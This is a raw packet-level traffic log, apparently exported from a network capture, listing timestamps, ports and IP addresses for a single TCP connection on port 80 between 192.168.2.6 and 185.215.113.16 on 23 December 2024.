Dec 23, 2024 06:53:43.244549036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.244597912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.245403051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.245415926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.245498896 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.246336937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.246417999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.246704102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.247263908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.247276068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.247318029 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.248192072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.248296976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.249150991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.249205112 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.249237061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.249294043 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.250083923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.250096083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.250133038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.250987053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.251099110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.251948118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.252005100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.252249956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.252296925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.252876997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.252971888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.253016949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.253837109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.253948927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.253995895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.254762888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.254848003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.255057096 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.255721092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.255820036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.255867004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.256630898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.256802082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.256849051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.257564068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.257689953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.257736921 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.258519888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.258624077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.258682966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.259489059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.259571075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.259658098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.260401964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.260497093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.260680914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.261360884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.261439085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.261487961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.262275934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.262383938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.262427092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.263221025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.263331890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.263381958 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.264159918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.264256954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.264298916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.265116930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.265204906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.265252113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.266072035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.266148090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.266212940 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.267311096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.267416000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.267460108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.267941952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.268028021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.268069983 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.268870115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.268975973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.269026041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.269783974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.308324099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.308413982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.308533907 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.308763981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.308820963 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.308902979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.309773922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.309901953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.309978962 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.310666084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.310776949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.310847998 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.311599970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.311652899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.311693907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.312567949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.312619925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.312685966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.313491106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.313549995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.313625097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.314440012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.314532995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.314587116 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.315351009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.315418005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.315440893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.316298962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.316368103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.316462994 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.317250013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.317333937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.317400932 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.318202019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.318259954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.318293095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.319111109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.319164991 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.319196939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.320065022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.320127964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.366373062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.366473913 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.366533995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.366789103 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.367016077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.367055893 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.367077112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.367976904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.368025064 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.368066072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.368877888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.368927002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.369014978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.369833946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.369875908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.369920015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.370753050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.370820045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.370865107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.371721029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.371809959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.371865034 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.372629881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.372745991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.372798920 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.373586893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.373640060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.373683929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.374527931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.374569893 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.374593019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.429677963 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.434575081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.434748888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.434807062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.435041904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.435065031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.435112000 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.435743093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.435802937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.435873032 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.436670065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.436785936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.436923027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.437599897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.437657118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.437705994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.438551903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.438657999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.438709974 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.439496040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.439564943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.439613104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.440428019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.440521002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.440568924 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.441358089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.441509962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.441562891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.442311049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.442466974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.442523003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.443413019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.443428040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.443471909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.444185019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.444302082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.444344997 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.445148945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.445211887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.445297956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.446063042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.446110010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.446156979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.447000027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.447067022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.447112083 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.447989941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.448074102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.448122025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.448901892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.449007034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.449054956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.449784040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.449898005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.449944973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.450742006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.450879097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.450927973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.451692104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.451803923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.451848984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.452629089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.452739000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.452869892 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.453563929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.453680038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.453721046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.454494953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.454600096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.454643965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.455487013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.455511093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.456105947 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.456384897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.456532955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.456574917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.457309008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.457422972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.457485914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.458261013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.458367109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.458410978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.459192991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.459275007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.459323883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.460135937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.460249901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.460313082 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.461100101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.461263895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.461317062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.461956978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.500441074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.500504971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.500570059 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.500802040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.500859976 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.501018047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.501138926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.501461029 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.501976967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.502139091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.502187967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.502970934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.503127098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.503173113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.503863096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.503962994 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.504005909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.504785061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.504900932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.504947901 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.505773067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.505826950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.505889893 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.506659031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.506772995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.506814957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.507636070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.507730007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.507793903 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.508538008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.508621931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.508675098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.509481907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.509596109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.509635925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.510432005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.510529041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.510577917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.511379957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.511471033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.511513948 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.512265921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.554702997 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.558665037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.558840036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.558896065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.559113026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.559223890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.559263945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.560111046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.560187101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.560241938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.560971975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.561059952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.561108112 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.561917067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.562020063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.562064886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.562983990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.562998056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.563040972 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.563786030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.563894987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.563939095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.564703941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.564783096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.564829111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.565656900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.565761089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.565803051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.566580057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.566709042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.566752911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.626713991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.626847982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.626907110 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.627104998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.627324104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.627424002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.627469063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.628299952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.628529072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.628585100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.629220963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.629317999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.629405975 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.630139112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.630192995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.630250931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.631079912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.631133080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.631175041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.632025003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.632080078 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.632227898 CET	80	49758	185.215.113.16	192.168.2.6
